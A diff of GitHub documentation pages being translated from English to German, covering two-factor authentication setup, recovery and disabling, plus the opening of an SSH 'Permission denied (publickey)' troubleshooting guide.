{% data reusables.two_fa.show-recovery-codes %}
3. To create another batch of recovery codes, click **Generate new recovery codes**.
![Generate new recovery codes button](/assets/images/help/2fa/generate-new-recovery-codes.png)
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.security %} {% data reusables.two_fa.show-recovery-codes %}
3. Um einen weiteren Satz an Wiederherstellungscodes zu erstellen, klicke auf **Neue Wiederherstellungscodes erzeugen**.
![Schaltfläche „Neue Wiederherstellungscodes erzeugen“](/assets/images/help/2fa/generate-new-recovery-codes.png)
## Configuring a security key as an additional two-factor authentication method
## Einen Sicherheitsschlüssel als zusätzliche Methode für die Zwei-Faktor-Authentifizierung konfigurieren
You can set up a security key as a secondary two-factor authentication method, and use the security key to regain access to your account. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)."
Du kannst einen Sicherheitsschlüssel als sekundäre Zwei-Faktor-Authentifizierungsmethode festlegen und diesen Schlüssel nutzen, um erneut Zugriff auf Dein Konto zu erhalten. Weitere Informationen findest du unter [Konfigurieren der zweistufigen Authentifizierung](/articles/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key).
{% ifversion fpt or ghec %}
## Setting a fallback authentication number
## Eine Fallback-Authentifizierungsnummer festlegen
You can provide a second number for a fallback device. If you lose access to both your primary device and your recovery codes, a backup SMS number can get you back in to your account.
Du kannst eine zweite Nummer für ein Fallback-Gerät angeben. Wenn Du weder auf Dein primäres Gerät noch auf Deine Wiederherstellungscodes zugreifen kannst, ermöglicht eine Ersatztelefonnummer für SMS den erneuten Zugriff auf Dein Konto.
You can use a fallback number regardless of whether you've configured authentication via text message or TOTP mobile application.
Du kannst eine Fallback-Nummer unabhängig davon verwenden, ob Du die Authentifizierung per SMS oder TOTP-Mobilanwendung konfiguriert hast.
{% warning %}
**Warning:** Using a fallback number is a last resort. We recommend configuring additional recovery methods if you set a fallback authentication number.
- Bad actors may attack cell phone carriers, so SMS authentication is risky.
- SMS messages are only supported for certain countries outside the US; for the list, see "[Countries where SMS authentication is supported](/articles/countries-where-sms-authentication-is-supported)".
**Warnung:** Die Verwendung einer Fallback-Nummer ist die letzte Option. Wir empfehlen, zusätzliche Wiederherstellungsmethoden zu konfigurieren, wenn Du eine Fallback-Authentifizierungsnummer festlegst.
- Die Authentifizierung über SMS ist riskant, da Mobilfunkanbieter angreifbar sind.
- SMS-Nachrichten werden nur für bestimmte Länder außerhalb der USA unterstützt. Die Liste findest du unter [Länder, in denen SMS-Authentifizierung unterstützt wird](/articles/countries-where-sms-authentication-is-supported).
{% endwarning %}
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.security %}
3. Next to "Fallback SMS number", click **Add**.
![Add fallback SMS number button](/assets/images/help/2fa/add-fallback-sms-number-button.png)
4. Under "Fallback SMS number", click **Add fallback SMS number**.
![Add fallback SMS number text](/assets/images/help/2fa/add_fallback_sms_number_text.png)
5. Select your country code and type your mobile phone number, including the area code. When your information is correct, click **Set fallback**.
![Set fallback SMS number](/assets/images/help/2fa/2fa-fallback-number.png)
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.security %}
3. Klicke neben „Fallback-SMS-Nummer“ auf **Hinzufügen**.
![Schaltfläche „Fallback-SMS-Nummer hinzufügen“](/assets/images/help/2fa/add-fallback-sms-number-button.png)
4. Klicke unter „Fallback-SMS-Nummer“ auf **Fallback-SMS-Nummer hinzufügen**.
![Text „Fallback-SMS-Nummer hinzufügen“](/assets/images/help/2fa/add_fallback_sms_number_text.png)
5. Wähle Deinen Ländercode aus, und gib Deine Mobiltelefonnummer inklusive Vorwahl ein. Wenn deine Angaben korrekt sind, klicke auf **Fallback festlegen**.
![Festlegen der Fallback-SMS-Nummer](/assets/images/help/2fa/2fa-fallback-number.png)
After setup, the backup device will receive a confirmation SMS.
Nach der Einrichtung wird eine Bestätigungs-SMS an Dein Backup-Gerät gesendet.
{% endif %}
## Further reading
## Weiterführende Themen
- "[About two-factor authentication](/articles/about-two-factor-authentication)"
- "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)"
- "[Accessing {% data variables.product.prodname_dotcom %} using two-factor authentication](/articles/accessing-github-using-two-factor-authentication)"
- "[Recovering your account if you lose your two-factor authentication credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
- [Informationen zur zweistufigen Authentifizierung](/articles/about-two-factor-authentication)
- [Konfigurieren der zweistufigen Authentifizierung](/articles/configuring-two-factor-authentication)
- [Zugriff auf {% data variables.product.prodname_dotcom %} mit zweistufiger Authentifizierung](/articles/accessing-github-using-two-factor-authentication)“
- [Wiederherstellen deines Kontos, wenn du deine Anmeldeinformationen für die zweistufige Authentifizierung verlierst](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)“

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Configuring two-factor authentication
intro: You can choose among multiple options to add a second source of authentication to your account.
title: Zwei-Faktor-Authentifizierung konfigurieren
intro: 'Du kannst zwischen mehreren Optionen wählen, um deinem Konto eine zweite Authentifizierungsquelle hinzuzufügen.'
redirect_from:
- /articles/configuring-two-factor-authentication-via-a-totp-mobile-app
- /articles/configuring-two-factor-authentication-via-text-message
@ -15,28 +15,34 @@ versions:
topics:
- 2FA
shortTitle: Configure 2FA
ms.openlocfilehash: 2a038134260ba9a6a7a0307bc3261157968ec1ea
ms.sourcegitcommit: c562c85cc75ffe1eb4e9595d8adc09ec71697ab1
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/22/2022
ms.locfileid: '148179957'
---
You can configure two-factor authentication using a mobile app{% ifversion fpt or ghec %} or via text message{% endif %}. You can also add a security key.
Du kannst die Zwei-Faktor-Authentifizierung mit einer mobilen App{% ifversion fpt or ghec %} oder per Textnachricht{% endif %} konfigurieren. Du kannst auch einen Sicherheitsschlüssel hinzufügen.
We strongly recommend using a time-based one-time password (TOTP) application to configure 2FA.{% ifversion fpt or ghec %} TOTP applications are more reliable than SMS, especially for locations outside the United States.{% endif %} TOTP apps support the secure backup of your authentication codes in the cloud and can be restored if you lose access to your device.
Es wird dringend empfohlen, eine zeitbasierte Einmalpasswort-Anwendung (TOTP) zur Konfiguration von 2FA zu verwenden.{% ifversion fpt or ghec %} TOTP-Anwendungen sind zuverlässiger als SMS, insbesondere für Standorte außerhalb der Vereinigten Staaten.{% endif %} TOTP-Anwendungen unterstützen die sichere Sicherung deiner Authentifizierungscodes in der Cloud und können wiederhergestellt werden, wenn du den Zugriff auf dein Gerät verlierst.
{% warning %}
**Warning:**
- If you're a member{% ifversion fpt or ghec %}, billing manager,{% endif %} or outside collaborator to a private repository of an organization that requires two-factor authentication, you must leave the organization before you can disable 2FA on {% data variables.location.product_location %}.
- If you disable 2FA, you will automatically lose access to the organization and any private forks you have of the organization's private repositories. To regain access to the organization and your forks, re-enable two-factor authentication and contact an organization owner.
**Warnung:**
- Wenn du Mitglied{% ifversion fpt or ghec %}, Abrechnungsmanager*in{% endif %} oder externe*r Mitarbeiter*in bei einem privaten Repository einer Organisation bist, die eine Zwei-Faktor-Authentifizierung verlangt, musst du die Organisation verlassen, bevor du 2FA in {% data variables.location.product_location %} deaktivieren kannst.
- Wenn du die 2FA deaktivierst, verlierst du automatisch den Zugriff auf die Organisation und alle privaten Forks, die du in den privaten Repositorys der Organisation hast. Um wieder auf die Organisation und deine Forks zuzugreifen, aktiviere die Zwei-Faktor-Authentifizierung erneut und wende Dich an einen Organisationsinhaber.
{% endwarning %}
{% ifversion fpt or ghec %}
If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, you cannot configure 2FA for your {% data variables.enterprise.prodname_managed_user %} account unless you're signed in as the setup user. For users other than the setup user, an administrator must configure 2FA on your identity provider (IdP).
Wenn du Mitglied eines {% data variables.enterprise.prodname_emu_enterprise %} bist, kannst du die Zwei-Faktor-Authentifizierung für dein {% data variables.enterprise.prodname_managed_user %}-Konto nur konfigurieren, wenn du als Setupbenutzer*in angemeldet bist. Für andere Benutzer*innen als den Setupbenutzer muss ein*e Administrator*in die zweistufige Authentifizierung für deinen Identitätsanbieter (IdP) konfigurieren.
{% endif %}
## Configuring two-factor authentication using a TOTP mobile app
## Zwei-Faktor-Authentifizierung mit einer mobilen TOTP-Anwendung konfigurieren
A time-based one-time password (TOTP) application automatically generates an authentication code that changes after a certain period of time. We recommend using cloud-based TOTP apps such as:
Eine TOTP-Anwendung (Time-based One-Time Password) erzeugt automatisch einen Authentifizierungscode, der sich nach einem bestimmten Zeitraum ändert. Wir empfehlen die Nutzung Cloud-basierter TOTP-Apps wie:
- [1Password](https://support.1password.com/one-time-passwords/)
- [Authy](https://authy.com/guides/github/)
- [LastPass Authenticator](https://lastpass.com/auth/)
@ -44,109 +50,95 @@ A time-based one-time password (TOTP) application automatically generates an aut
{% tip %}
**Tip**: To configure authentication via TOTP on multiple devices, during setup, scan the QR code using each device at the same time. If 2FA is already enabled and you want to add another device, you must re-configure 2FA from your security settings.
**Tipp**: Um die Authentifizierung über TOTP auf mehreren Geräten zu konfigurieren, scanne den QR-Code während der Einrichtung mit jedem Gerät gleichzeitig. Wenn die 2FA bereits aktiviert ist und du ein weiteres Gerät hinzufügen möchtest, musst du die 2FA über deine Sicherheitseinstellungen erneut konfigurieren.
{% endtip %}
1. Download a TOTP app.
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.security %}
{% data reusables.two_fa.enable-two-factor-authentication %}
{%- ifversion fpt or ghec or ghes > 3.7 %}
5. Under "Setup authenticator app", do one of the following:
- Scan the QR code with your mobile device's app. After scanning, the app displays a six-digit code that you can enter on {% data variables.product.product_name %}.
- If you can't scan the QR code, click **enter this text code** to see a code that you can manually enter in your TOTP app instead.
![Click enter this code](/assets/images/help/2fa/2fa_wizard_app_click_code.png)
6. The TOTP mobile application saves your account on {% data variables.location.product_location %} and generates a new authentication code every few seconds. On {% data variables.product.product_name %}, type the code into the field under "Enter the six-digit code from the application".
![TOTP enter code field](/assets/images/help/2fa/2fa_wizard_app_enter_code.png)
{%- else %}
5. Under "Two-factor authentication", select **Set up using an app** and click **Continue**.
6. Under "Authentication verification", do one of the following:
- Scan the QR code with your mobile device's app. After scanning, the app displays a six-digit code that you can enter on {% data variables.product.product_name %}.
- If you can't scan the QR code, click **enter this text code** to see a code that you can manually enter in your TOTP app instead.
![Click enter this code](/assets/images/help/2fa/2fa_wizard_app_click_code.png)
7. The TOTP mobile application saves your account on {% data variables.location.product_location %} and generates a new authentication code every few seconds. On {% data variables.product.product_name %}, type the code into the field under "Enter the six-digit code from the application".
![TOTP enter code field](/assets/images/help/2fa/2fa_wizard_app_enter_code.png)
{%- endif %}
{% data reusables.two_fa.save_your_recovery_codes_during_2fa_setup %}
{% data reusables.two_fa.backup_options_during_2fa_enrollment %}
{% data reusables.two_fa.test_2fa_immediately %}
1. Lade eine TOTP-Anwendung herunter.
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.security %} {% data reusables.two_fa.enable-two-factor-authentication %} {%- ifversion fpt or ghec or ghes > 3.7 %}
5. Führe unter „Authentifikator-App einrichten“ eine der folgenden Aktionen aus:
- Scanne den QR-Code mit der App deines Mobilgeräts. Nach dem Scannen zeigt die App einen sechsstelligen Code an, den du auf {% data variables.product.product_name %} eingeben kannst.
- Wenn du den QR-Code nicht scannen kannst, klicke auf **diesen Textcode eingeben**, um einen Code anzuzeigen, den du stattdessen manuell in deiner TOTP-App eingeben kannst.
![Klicke auf diesen Code](/assets/images/help/2fa/2fa_wizard_app_click_code.png)
6. Die TOTP-Mobilanwendung speichert dein {% data variables.location.product_location %}-Konto und generiert alle paar Sekunden einen neuen Authentifizierungscode. Auf {% data variables.product.product_name %} gibst du den Code in das Feld unter "Gib den sechsstelligen Code aus der Anwendung ein".
![TOTP-Codeeingabefeld](/assets/images/help/2fa/2fa_wizard_app_enter_code.png) {%- else %}
5. Wähle unter "Zweistufige Authentifizierung" die Option **Mithilfe einer App einrichten** aus, und klicke auf **Fortfahren**.
6. Führe unter „Authentifizierungsprüfung“ einen der folgenden Schritte aus:
- Scanne den QR-Code mit der App deines Mobilgeräts. Nach dem Scannen zeigt die App einen sechsstelligen Code an, den du auf {% data variables.product.product_name %} eingeben kannst.
- Wenn du den QR-Code nicht scannen kannst, klicke auf **diesen Textcode eingeben**, um einen Code anzuzeigen, den du stattdessen manuell in deiner TOTP-App eingeben kannst.
![Klicke auf diesen Code](/assets/images/help/2fa/2fa_wizard_app_click_code.png)
7. Die TOTP-Mobilanwendung speichert dein {% data variables.location.product_location %}-Konto und generiert alle paar Sekunden einen neuen Authentifizierungscode. Auf {% data variables.product.product_name %} gibst du den Code in das Feld unter "Gib den sechsstelligen Code aus der Anwendung ein".
![TOTP-Codeeingabefeld](/assets/images/help/2fa/2fa_wizard_app_enter_code.png) {%- endif %} {% data reusables.two_fa.save_your_recovery_codes_during_2fa_setup %} {% data reusables.two_fa.backup_options_during_2fa_enrollment %} {% data reusables.two_fa.test_2fa_immediately %}
{% ifversion fpt or ghec %}
## Configuring two-factor authentication using text messages
## Zwei-Faktor-Authentifizierung mit SMS konfigurieren
If you're unable to authenticate using a TOTP mobile app, you can authenticate using SMS messages. You can also provide a second number for a fallback device. If you lose access to both your primary device and your recovery codes, a backup SMS number can get you back in to your account.
Wenn Dir die Authentifizierung per TOTP-Mobilanwendung nicht möglich ist, kannst du stattdessen SMS-Nachrichten zur Authentifizierung verwenden. Du kannst auch eine zweite Telefonnummer für ein Fallback-Gerät angeben. Wenn du weder auf dein primäres Gerät noch auf deine Wiederherstellungscodes zugreifen kannst, ermöglicht eine Ersatztelefonnummer für SMS den erneuten Zugriff auf dein Konto.
Before using this method, be sure that you can receive text messages. Carrier rates may apply.
Bevor du diese Methode verwendest, stelle sicher, dass du SMS empfangen kannst. Möglicherweise fallen Gebühren des Mobilfunkanbieters an.
{% warning %}
**Warning:** We **strongly recommend** using a TOTP application for two-factor authentication instead of SMS. {% data variables.product.product_name %} doesn't support sending SMS messages to phones in every country. Before configuring authentication via text message, review the list of countries where {% data variables.product.product_name %} supports authentication via SMS. For more information, see "[Countries where SMS authentication is supported](/articles/countries-where-sms-authentication-is-supported)".
**Warnung:** Es **wird dringend empfohlen**, eine TOTP-Anwendung für die Zwei-Faktor-Authentifizierung anstelle von SMS zu verwenden. {% data variables.product.product_name %} unterstützt den SMS-Versand an Telefone nicht für jedes Land. Bevor du die Authentifizierung per SMS konfigurierst, sieh dir die Liste der Länder an, in denen {% data variables.product.product_name %} die Authentifizierung per SMS unterstützt. Weitere Informationen findest du unter „[Länder, in denen die SMS-Authentifizierung unterstützt wird](/articles/countries-where-sms-authentication-is-supported).
{% endwarning %}
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.security %}
{% data reusables.two_fa.enable-two-factor-authentication %}
4. Below "Setup authenticator app", select **SMS authentication**
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.security %} {% data reusables.two_fa.enable-two-factor-authentication %}
4. Wähle unter „Authentifikator-App einrichten“ die Option **SMS-Authentifizierung** aus.
![2FA SMS alternative option](/assets/images/help/2fa/2fa_sms_alt_option.png)
![Alternative 2FA-Option per SMS](/assets/images/help/2fa/2fa_sms_alt_option.png)
5. Under "Setup SMS authentication", select your country code and type your mobile phone number, including the area code. When your information is correct, click **Send authentication code**.
5. Wähle unter „SMS-Authentifizierung einrichten“ deine Landesvorwahl aus, und gib deine Mobiltelefonnummer einschließlich der Ortsvorwahl ein. Wenn deine Informationen korrekt sind, klicke auf **Authentifizierungscode** senden.
![2FA SMS screen](/assets/images/help/2fa/2fa_wizard_sms_send.png)
![2FA-SMS-Bild](/assets/images/help/2fa/2fa_wizard_sms_send.png)
6. You'll receive a text message with a security code. On {% data variables.product.product_name %}, type the code into the field under "Enter the six-digit code sent to your phone" and click **Continue**.
6. Du erhältst eine SMS mit einem Sicherheitscode. Auf {% data variables.product.product_name %} gibst du den Code in das Feld unter "Gib den sechsstelligen Code aus der Anwendung ein" und klicke auf **Weiter**.
![2FA SMS continue field](/assets/images/help/2fa/2fa_wizard_sms_enter_code.png)
{% data reusables.two_fa.save_your_recovery_codes_during_2fa_setup %}
{% data reusables.two_fa.backup_options_during_2fa_enrollment %}
{% data reusables.two_fa.test_2fa_immediately %}
![2FA-SMS-Feld (Forts.)](/assets/images/help/2fa/2fa_wizard_sms_enter_code.png) {% data reusables.two_fa.save_your_recovery_codes_during_2fa_setup %} {% data reusables.two_fa.backup_options_during_2fa_enrollment %} {% data reusables.two_fa.test_2fa_immediately %}
{% endif %}
## Configuring two-factor authentication using a security key
## Zwei-Faktor-Authentifizierung mit einem Sicherheitsschlüssel konfigurieren
{% data reusables.two_fa.after-2fa-add-security-key %}
On most devices and browsers, you can use a physical security key over USB or NFC. Some browsers can use the fingerprint reader, facial recognition, or password/PIN on your device as a security key.
Auf den meisten Geräten und Browsern kannst du einen physikalischen Sicherheitsschlüssel über USB oder NFC verwenden. Einige Browser können Fingerabdruckleser, Gesichtserkennung oder Passwort / PIN als Sicherheitsschlüssel auf deinem Gerät verwenden.
Authentication with a security key is *secondary* to authentication with a TOTP application{% ifversion fpt or ghec %} or a text message{% endif %}. If you lose your security key, you'll still be able to use your phone's code to sign in.
Die Authentifizierung mit einem Sicherheitsschlüssel ist *sekundär* für die Authentifizierung mit einer TOTP-Anwendung{% ifversion fpt or ghec %} oder einer Textnachricht{% endif %}. Wenn du deinen Sicherheitsschlüssel verlierst, kannst du immer noch den Code deines Telefons für die Anmeldung verwenden.
1. You must have already configured 2FA via a TOTP mobile app{% ifversion fpt or ghec %} or via SMS{% endif %}.
2. Ensure that you have a WebAuthn compatible security key inserted into your computer.
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.security %}
5. Next to "Security keys", click **Add**.
![Add security keys option](/assets/images/help/2fa/add-security-keys-option.png)
6. Under "Security keys", click **Register new security key**.
![Registering a new security key](/assets/images/help/2fa/security-key-register.png)
7. Type a nickname for the security key, then click **Add**.
![Providing a nickname for a security key](/assets/images/help/2fa/security-key-nickname.png)
8. Activate your security key, following your security key's documentation.
![Prompt for a security key](/assets/images/help/2fa/security-key-prompt.png)
9. Confirm that you've downloaded and can access your recovery codes. If you haven't already, or if you'd like to generate another set of codes, download your codes and save them in a safe place. For more information, see "[Downloading your 2FA recovery codes](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods#downloading-your-two-factor-authentication-recovery-codes)."
1. Du musst 2FA bereits über eine TOTP mobile App{% ifversion fpt or ghec %} oder per SMS{% endif %} konfiguriert haben.
2. Vergewissere dich, dass du einen WebAuthn-kompatiblen Sicherheitsschlüssel in deinem Computer hast.
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.security %}
5. Klicke neben "Sicherheitsschlüssel" auf **Hinzufügen**.
![Option Sicherheitsschlüssel hinzufügen](/assets/images/help/2fa/add-security-keys-option.png)
6. Klicke unter "Sicherheitsschlüssel" auf **Neuen Sicherheitsschlüssel registrieren**.
![Registrierung eines neuen Sicherheitsschlüssels](/assets/images/help/2fa/security-key-register.png)
7. Gib einen Spitznamen für den Sicherheitsschlüssel ein und klicke dann auf **Hinzufügen**.
![Angabe eines Spitznamens für einen Sicherheitsschlüssel](/assets/images/help/2fa/security-key-nickname.png)
8. Aktiviere deinen Sicherheitsschlüssel gemäß den Anweisungen in der Dokumentation des Schlüssels.
![Eingabeaufforderung für einen Sicherheitsschlüssel](/assets/images/help/2fa/security-key-prompt.png)
9. Bestätige, dass du deine Wiederherstellungscodes heruntergeladen hast und auf sie zugreifen kannst. Wenn du das noch nicht getan hast oder einen anderen Satz an Codes verwenden möchtest, lade deine Codes herunter und speichere sie an einem sicheren Ort. Weitere Informationen findest du unter [Herunterladen von 2FA-Wiederherstellungscodes](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods#downloading-your-two-factor-authentication-recovery-codes).
{% data reusables.two_fa.test_2fa_immediately %}
{% ifversion fpt or ghec %}
## Configuring two-factor authentication using {% data variables.product.prodname_mobile %}
## Konfigurieren der Zwei-Faktor-Authentifizierung mit {% data variables.product.prodname_mobile %}
You can use {% data variables.product.prodname_mobile %} for 2FA when signing into your {% data variables.product.prodname_dotcom %} account in a web browser. 2FA with {% data variables.product.prodname_mobile %} does not rely on TOTP, and instead uses public-key cryptography to secure your account.
Du kannst {% data variables.product.prodname_mobile %} für 2FA verwenden, wenn du Dich in deinem {% data variables.product.prodname_dotcom %} -Konto in einem Webbrowser anmeldest. 2FA mit {% data variables.product.prodname_mobile %} verlässt sich nicht auf TOTP und verwendet stattdessen Kryptografie mit öffentlichem Schlüssel, um dein Konto zu sichern.
Once you have configured a TOTP application, or SMS, you can also use {% data variables.product.prodname_mobile %} to authenticate. If, in the future, you no longer have access to {% data variables.product.prodname_mobile %}, you will still be able to use security keys or TOTP applications to sign in.
Wenn du eine TOTP-Anwendung oder eine SMS konfiguriert hast, kannst du auch {% data variables.product.prodname_mobile %} zur Authentifizierung verwenden. Falls du in Zukunft keinen Zugriff mehr auf {% data variables.product.prodname_mobile %} hast, kannst du Dich immer noch mit Sicherheitsschlüsseln oder TOTP-Anwendungen anmelden.
1. You must have already configured 2FA via a TOTP mobile app or via SMS.
2. Install [{% data variables.product.prodname_mobile %}](https://github.com/mobile).
3. Sign in to your {% data variables.product.product_name %} account from {% data variables.product.prodname_mobile %}.
1. Du musst 2FA bereits über eine mobile TOTP-App oder per SMS konfiguriert haben.
2. Installiere [{% data variables.product.prodname_mobile %}](https://github.com/mobile).
3. Melde Dich bei deinem {% data variables.product.product_name %}-Konto über {% data variables.product.prodname_mobile %} an.
After signing in, you can now use your device for 2FA.
Nach der Anmeldung kannst du dein Gerät für 2FA verwenden.
{% endif %}
## Further reading
## Weiterführende Themen
- "[About two-factor authentication](/articles/about-two-factor-authentication)"
- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)"
- "[Accessing {% data variables.product.prodname_dotcom %} using two-factor authentication](/articles/accessing-github-using-two-factor-authentication)"
- "[Recovering your account if you lose your 2FA credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
- "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)"
- [Informationen zur zweistufigen Authentifizierung](/articles/about-two-factor-authentication)
- „[Konfigurieren von zweistufigen Authentifizierungswiederherstellungsmethoden](/articles/configuring-two-factor-authentication-recovery-methods)“
- „[Zugriff auf {% data variables.product.prodname_dotcom %} mit Zwei-Faktor-Authentifizierung](/articles/accessing-github-using-two-factor-authentication)“
- „[Dein Konto beim Verlust der 2FA-Anmeldeinformationen wiederherstellen](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)“
- [Erstellen eines {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Disabling two-factor authentication for your personal account
intro: 'If you disable two-factor authentication for your personal account, you may lose access to organizations you belong to.'
title: Zwei-Faktor-Authentifizierung für Ihr persönliches Konto deaktivieren
intro: 'Wenn Du die Zwei-Faktor-Authentifizierung (2FA) für Dein persönliches Konto deaktivierst, verlierst Du möglicherweise den Zugriff auf Organisationen, denen Du angehörst.'
redirect_from:
- /articles/disabling-two-factor-authentication-for-your-personal-account
- /github/authenticating-to-github/disabling-two-factor-authentication-for-your-personal-account
@ -12,28 +12,33 @@ versions:
topics:
- 2FA
shortTitle: Disable 2FA
ms.openlocfilehash: 17135ec9a9458eeb2fc460e69dfc6af39d83ee1d
ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/10/2022
ms.locfileid: '145085923'
---
We strongly recommend using two-factor authentication to secure your account. If you need to disable 2FA, we recommend re-enabling it as soon as possible.
Wir empfehlen dringend, Dein Konto mit der Zwei-Faktor-Authentifizierung zu schützen. Wenn Du die 2FA deaktivieren musst, empfehlen wir, sie so bald wie möglich wieder zu aktivieren.
{% warning %}
**Warning:** If you're a member{% ifversion fpt or ghec %}, billing manager,{% endif %} or outside collaborator to a public repository of an organization that requires two-factor authentication and you disable 2FA, you'll be automatically removed from the organization, and you'll lose your access to their repositories. To regain access to the organization, re-enable two-factor authentication and contact an organization owner.
**Warnung:** Wenn du ein Mitglied{% ifversion fpt or ghec %}, Abrechnungsmanager{% endif %} oder externer Mitarbeiter eines öffentlichen Repositorys einer Organisation bist, die die zweistufige Authentifizierung voraussetzt, und du die zweistufige Authentifizierung deaktivierst, wirst du automatisch aus der Organisation entfernt und verlierst den Zugriff auf deren Repositorys. Um wieder auf die Organisation zugreifen zu können, aktiviere die Zwei-Faktor-Authentifizierung erneut und wende Dich an einen Organisationsinhaber.
{% endwarning %}
If your organization requires two-factor authentication and you're a member, owner, or an outside collaborator on a private repository of your organization, you must first leave your organization before you can disable two-factor authentication.
Wenn Deine Organisation die Zwei-Faktor-Authentifizierung voraussetzt und Du ein Mitglied, Inhaber oder externer Mitarbeiter bei einem privaten Repository Deiner Organisation bist, musst Du die Organisation zunächst verlassen, bevor Du die Zwei-Faktor-Authentifizierung deaktivieren kannst.
To remove yourself from your organization:
- As an organization member or owner, see "[Removing yourself from an organization](/articles/removing-yourself-from-an-organization/)."
- As an outside collaborator, ask an organization owner or repository administrator to remove you from the organization's repositories. For more information, see "[Viewing people's roles in an organization](/articles/viewing-people-s-roles-in-an-organization)" and "[Removing an outside collaborator from an organization repository](/articles/removing-an-outside-collaborator-from-an-organization-repository/)."
So entfernst Du Dich selbst aus Deiner Organisation:
- Als Organisationsmitglied oder -besitzer findest du entsprechende Informationen unter [Sich selbst aus einer Organisation entfernen](/articles/removing-yourself-from-an-organization/).
- Als externer Mitarbeiter bitte einen Organisationsinhaber oder Repository-Administrator, Dich aus den Repositorys der Organisation zu entfernen. Weitere Informationen findest du unter [Anzeigen der Rollen von Personen in einer Organisation](/articles/viewing-people-s-roles-in-an-organization) und [Entfernen eines externen Mitarbeiters aus einem Organisationsrepository](/articles/removing-an-outside-collaborator-from-an-organization-repository/).
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.security %}
3. Click **Disable**.
![Disable two-factor authentication button](/assets/images/help/2fa/disable-two-factor-authentication.png)
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.security %}
3. Klicke auf **Deaktivieren**.
![Schaltfläche „Deaktivieren der zweistufigen Authentifizierung“](/assets/images/help/2fa/disable-two-factor-authentication.png)
## Further reading
## Weiterführende Themen
- "[About two-factor authentication](/articles/about-two-factor-authentication)"
- "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)"
- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)"
- [Informationen zur zweistufigen Authentifizierung](/articles/about-two-factor-authentication)
- [Konfigurieren der zweistufigen Authentifizierung](/articles/configuring-two-factor-authentication)
- [Konfigurieren der Wiederherstellungsmethoden bei der zweistufigen Authentifizierung](/articles/configuring-two-factor-authentication-recovery-methods)

Просмотреть файл

@ -1,6 +1,6 @@
---
title: 'Error: Permission denied (publickey)'
intro: 'A "Permission denied" error means that the server rejected your connection. There could be several reasons why, and the most common examples are explained below.'
title: 'Fehler: „Permission denied (publickey)“ (Berechtigung verweigert: öffentlicher Schlüssel)'
intro: 'Die Fehlermeldung „Permission denied“ (Berechtigung verweigert) bedeutet, dass der Server deine Verbindung abgelehnt hat. Dafür kann es verschiedene Gründe geben. Die häufigsten werden nachfolgend erläutert.'
redirect_from:
- /articles/error-permission-denied-publickey
- /github/authenticating-to-github/error-permission-denied-publickey
@ -13,57 +13,63 @@ versions:
topics:
- SSH
shortTitle: Permission denied (publickey)
ms.openlocfilehash: fdf69ae9777127851e1e0a1e85b5907ebd4a3557
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/05/2022
ms.locfileid: '145085880'
---
## Should the `sudo` command or elevated privileges be used with Git?
## Sollten der `sudo`-Befehl oder erhöhte Rechte mit Git verwendet werden?
You should not be using the `sudo` command or elevated privileges, such as administrator permissions, with Git. If you have a *very good reason* you must use `sudo`, then ensure you are using it with every command (it's probably just better to use `su` to get a shell as root at that point). If you [generate SSH keys](/articles/generating-an-ssh-key) without `sudo` and then try to use a command like `sudo git push`, you won't be using the same keys that you generated.
Du solltest den `sudo`-Befehl oder erhöhte Rechte (z. B. Administratorberechtigungen) nicht mit Git verwenden. Wenn du einen *sehr guten Grund* für die Nutzung von `sudo` hast, solltest du sicherstellen, dass du es mit jedem Befehl verwendest (es wird empfohlen, einfach `su` zu verwenden, um eine Shell als Stamm zu verwenden). Wenn du [SSH-Schlüssel ohne `sudo` generierst](/articles/generating-an-ssh-key) und dann versuchst, einen Befehl wie `sudo git push` auszuführen, verwende nicht die gleichen Schlüssel, die du generiert hast.
## Check that you are connecting to the correct server
## Überprüfen, ob du eine Verbindung mit dem richtigen Server herstellst
Typing is hard, we all know it. Pay attention to what you type; you won't be able to connect to "githib.com" or "guthub.com". In some cases, a corporate network may cause issues resolving the DNS record as well.
Tippen ist fehleranfällig, das wissen wir alle. Achte darauf, was du eingibst. Du kannst keine Verbindung mit „githib.com“ oder „guthub.com“ herstellen. In einigen Fällen kann ein Unternehmensnetzwerk auch Probleme bei der Auflösung des DNS-Eintrags verursachen.
To make sure you are connecting to the right domain, you can enter the following command:
Um sicherzustellen, dass du die Verbindung mit der richtigen Domäne herstellst, kannst du den folgenden Befehl eingeben:
```shell
$ ssh -vT git@{% data variables.command_line.codeblock %}
> OpenSSH_8.1p1, LibreSSL 2.7.3
> debug1: Reading configuration data /Users/YOU/.ssh/config
